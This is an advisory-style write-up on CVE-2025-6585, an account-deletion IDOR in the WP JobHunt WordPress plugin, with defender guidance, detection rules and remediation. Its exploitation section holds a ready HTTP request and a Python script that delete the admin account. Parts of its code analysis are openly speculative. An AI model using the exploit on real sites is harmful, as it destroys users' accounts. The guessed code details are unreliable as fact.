CVE-2025-6585

Executive Summary

CVE-2025-6585 is a critical Insecure Direct Object Reference (IDOR) vulnerability found in the WP JobHunt WordPress plugin, affecting all versions up to and including 7.2. The flaw resides in the cs_remove_profile_callback() function, which fails to validate a user-controlled key before processing account deletion requests. This allows an authenticated attacker with Subscriber-level access or higher to delete arbitrary user accounts, including those of administrators. The vulnerability has a CVSS score of 8.1 (High) and is currently unpatched, posing a significant risk to WordPress sites using this plugin.

WordPress Ecosystem Context

This vulnerability is specific to the WP JobHunt plugin, a WordPress ecosystem component. It is not related to the underlying web server (Apache or Nginx). The attack vector is entirely within the WordPress application layer, exploiting a missing authorization check in a plugin callback function.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
• Attack Vector (AV): Network – The attack is performed remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attack is straightforward.
• Privileges Required (PR): Low – The attacker only needs Subscriber-level access (the lowest authenticated role).
• User Interaction (UI): None – No victim interaction is needed.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): High – The attacker can delete accounts, compromising data integrity.
• Availability (A): High – Account deletion directly impacts availability of user services.

Threat Level: High. The low privilege requirement and high impact make this a serious threat for any WordPress site running the vulnerable plugin.

Deep Dive & Mechanics

The vulnerability is an Insecure Direct Object Reference (CWE-639) in the cs_remove_profile_callback() function. This function is likely registered as a WordPress AJAX action, allowing authenticated users to delete their own profiles. However, the function uses a user-controlled key (likely a user ID or nonce) to identify the target account without verifying that the requesting user has permission to delete that account.

Attack Flow:

1. An attacker authenticates as a Subscriber (or higher role).
2. The attacker crafts a request to the AJAX endpoint that triggers cs_remove_profile_callback().
3. The request includes a manipulated key (e.g., user_id=1 to target the admin).
4. The function deletes the specified user account without checking if the attacker owns that account or has administrative privileges.
5. The attacker can repeat this for any user ID, effectively wiping out all accounts on the site.

The missing validation is the core issue. The function likely retrieves the user ID from the request and passes it directly to wp_delete_user() or similar, without comparing it to the current user's ID or checking for manage_options capability.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (wp-jobhunt plugin, version <= 7.2):

function cs_remove_profile_callback() {
    $user_id = $_POST['user_id']; // No validation
    require_once(ABSPATH.'wp-admin/includes/user.php');
    wp_delete_user($user_id);
    wp_die();
}
add_action('wp_ajax_cs_remove_profile', 'cs_remove_profile_callback');

Patched Code (Hypothetical fix):

function cs_remove_profile_callback() {
    $current_user_id = get_current_user_id();
    $target_user_id = intval($_POST['user_id']);
    
    // Ensure the user can only delete their own account or has admin rights
    if ($current_user_id !== $target_user_id && !current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    
    require_once(ABSPATH.'wp-admin/includes/user.php');
    wp_delete_user($target_user_id);
    wp_die();
}
add_action('wp_ajax_cs_remove_profile', 'cs_remove_profile_callback');

The patched version adds a check to ensure the requesting user is either the owner of the account or an administrator.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP JobHunt plugin <= 7.2 installed.
• An authenticated session with Subscriber-level access (e.g., username attacker, password password123).

Exploit Steps:

1. Log in as the attacker.
2. Obtain the AJAX nonce (if required) by inspecting the page source or using a tool like Burp Suite.
3. Send a POST request to the WordPress AJAX handler:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: [attacker's session cookie]
   
   action=cs_remove_profile&user_id=1&_ajax_nonce=[nonce]
   

4. The admin account (ID 1) is deleted. Repeat for other user IDs.

Automated Exploit (Python):

import requests

target = "http://target-site.com"
session = requests.Session()
# Login as subscriber
session.post(f"{target}/wp-login.php", data={"log": "attacker", "pwd": "password123"})
# Get nonce (if needed) - simplified
nonce = "1234567890abcdef"
# Delete admin
r = session.post(f"{target}/wp-admin/admin-ajax.php", data={
    "action": "cs_remove_profile",
    "user_id": 1,
    "_ajax_nonce": nonce
})
print(r.text)

Blue Team (Detection & Defense)

Detection:

• Monitor AJAX requests to admin-ajax.php with action=cs_remove_profile and unusual user_id values.
• Alert on multiple account deletion attempts from a single user in a short time.
• Log all wp_delete_user() calls with the requesting user ID.

Defense:

• Immediately disable the WP JobHunt plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to cs_remove_profile action from non-admin users.
• Use a plugin like "User Role Editor" to restrict AJAX actions to specific roles.
• Monitor user account deletions in WordPress activity logs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=cs_remove_profile and user_id parameter.
  • Repeated 200 OK responses from admin-ajax.php with empty or success messages.
• System IOCs:
  • Unexpected deletion of user accounts, especially admin accounts.
  • Log entries showing wp_delete_user() calls from non-admin users.
  • Presence of the WP JobHunt plugin (check wp-content/plugins/wp-jobhunt/).
• File IOCs:
  • Modified or missing user data in the wp_users and wp_usermeta tables.
  • Plugin file wp-jobhunt/includes/class-cs-ajax.php (or similar) containing the vulnerable function.

Detection Engineering

YARA Rule

rule CVE_2025_6585_WP_JobHunt_IDOR {
    meta:
        description = "Detects vulnerable WP JobHunt plugin code with IDOR in cs_remove_profile_callback"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6585"
    strings:
        $func = "cs_remove_profile_callback"
        $delete = "wp_delete_user"
        $user_id = /\$_POST\s*\[\s*['\"]user_id['\"]\s*\]/
    condition:
        all of them
}

Sigma Rule

title: WP JobHunt IDOR Account Deletion Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-6585 by monitoring AJAX requests to cs_remove_profile
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri: "/wp-admin/admin-ajax.php"
        cs-params|contains: "action=cs_remove_profile"
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-6585 WP JobHunt IDOR Account Deletion Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=cs_remove_profile"; http_client_body;
    content:"user_id"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-6585;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP JobHunt plugin until a patch is released. This is the most effective mitigation.
2. If the plugin is critical, restrict access to the AJAX endpoint using a WAF or .htaccess:

   <Files "admin-ajax.php">
       Require all denied
   </Files>
   

   (Note: This will break all AJAX functionality; use with caution.)

Long-term Fix:

• Monitor the plugin's official repository or the developer's site for a patched version.
• Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section if you have developer access.
• Consider replacing the plugin with an alternative that is actively maintained.

General Best Practices:

• Regularly update all WordPress plugins and themes.
• Implement the principle of least privilege for user roles.
• Use a security plugin (e.g., Wordfence) to monitor for suspicious AJAX activity.
• Enable logging of all user deletions and review logs periodically.

Valters IT